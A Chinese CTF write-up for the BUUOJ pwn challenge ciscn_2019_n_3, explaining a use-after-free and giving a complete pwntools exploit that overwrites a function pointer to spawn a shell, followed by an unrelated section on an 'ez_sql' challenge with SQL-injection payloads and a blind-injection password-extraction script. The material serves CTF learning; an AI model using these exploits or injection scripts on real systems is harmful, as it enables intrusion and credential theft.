buuoj刷题记录 - ciscn_2019_n_3 1

本文揭示了一种通过UAF漏洞在程序中实现的攻击手段,详细描述了如何通过构造特定Node来修改函数地址,进而实现shellcode的执行。涉及步骤包括释放内存、添加内容和展示节点。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

查看程序保护:
在这里插入图片描述
IDA分析程序,可以发现程序存在UAF漏洞:

在这里插入图片描述
在这里插入图片描述
只要使某一个Node的数据区域和已经free的Node的12个字节相重合,就可以修改函数地址.

只需要这样构造即可:
在这里插入图片描述
释放掉Node1,Node0,然后add一个 content为12字节的Node.就可以修改Node1的前12个字节.

1.可以修改Note1的前四个字节为 ‘sh\x00\x00’,后四个改为system.plt
2.可以修改Node1前四个字节为system.plt 的下一条指令地址(直接jmp由于该指令的地址低字节为0,system会截断.下一条指令会重新解析system地址,也是可以正常执行system函数的)
p32(system.plt 下一条指令地址) + ‘;sh\x00’

之后利用dump函数或者del就可以getshell了

exp:

from pwn import *
#sh = process('./pwn')

sh = remote('node4.buuoj.cn',28511)

def add(idx,value_type,content,length):
    sh.sendlineafter(b'CNote',b'1')
    sh.sendlineafter(b'Index',str(idx).encode())
    sh.sendlineafter(b'type:',str(value_type).encode())
    if value_type == 1:
        #整数
        sh.sendlineafter(b'1',str(content).encode())
    else:
        sh.sendlineafter(b'Length',str(length).encode())
        sh.sendlineafter(b'Value > ',content)
    
    sh.recvuntil(b'Okey, ')

def delnote(idx):
    sh.sendlineafter(b'CNote',b'2')
    sh.sendlineafter(b'Index',str(idx).encode())
    pass

def show(idx):
    sh.sendlineafter(b'CNote',b'3')
    sh.sendlineafter(b'Index',str(idx).encode())

add(0,2,'chunk0',16)
add(1,2,'chunk1',20)
#
delnote(1)
delnote(0)

#
payload = p32(0x8048506) + b';sh\x00'
#gdb.attach(sh)
add(2,2,payload,12)
#
show(1)

sh.interactive()

在这里插入图片描述

### 关于BUUOJ平台上的 `ez_sql` 题目解析 在BUUOJ平台上,`ez_sql` 是一道经典的SQL注入练习题。这类题目通常旨在测试参赛者对于SQL语句构造的理解以及如何利用输入验证漏洞来获取数据库中的敏感数据。 #### SQL注入基础原理 SQL注入是一种常见的安全漏洞,攻击者通过向应用程序提交恶意的SQL代码片段,从而改变原本预期执行的查询逻辑[^1]。这种技术可以用来绕过身份认证、读取敏感数据或者破坏数据库结构。 针对 `ez_sql` 这类挑战的具体解决方法如下: #### 利用布尔盲注提取信息 如果目标应用返回的结果页面会因为不同的条件而有所变化,则可以通过发送一系列精心设计的请求逐步推断出隐藏的信息。例如,在登界面尝试使用 `' OR '1'='1 --` 的方式强制让WHERE子句恒成立以实现未授权访问[^2]。 #### 时间延迟法探测字符 当无法直接观察到反馈差异时,可采用基于时间的盲注技巧。这涉及到构建能使服务器响应变慢(取决于特定条件下触发sleep函数)的payloads, 如 `IF(SUBSTRING(@@version,1,1)=5,SLEEP(5),0)` 来判断MySQL版本号的第一个数字是否为5[^3]。 以下是Python脚本的一个简单例子用于自动化上述过程的一部分: ```python import requests from string import digits, ascii_lowercase url = "http://example.com/login" charset = digits + ascii_lowercase result = '' for i in range(1, 21): found_char = False for char in charset: payload = f"' AND (SELECT SUBSTR(password,{i},1) FROM users WHERE id=1)='{char}'-- " data = {'username': payload, 'password':'random'} response = requests.post(url, data=data) if "Welcome" in response.text: result += char print(f"[+] Found character {char} at position {i}") found_char = True break if not found_char: break print("[*] Final password:", result) ``` 此代码仅作为学习用途展示可能的技术手段,请勿非法入侵任何系统!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Suspend.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值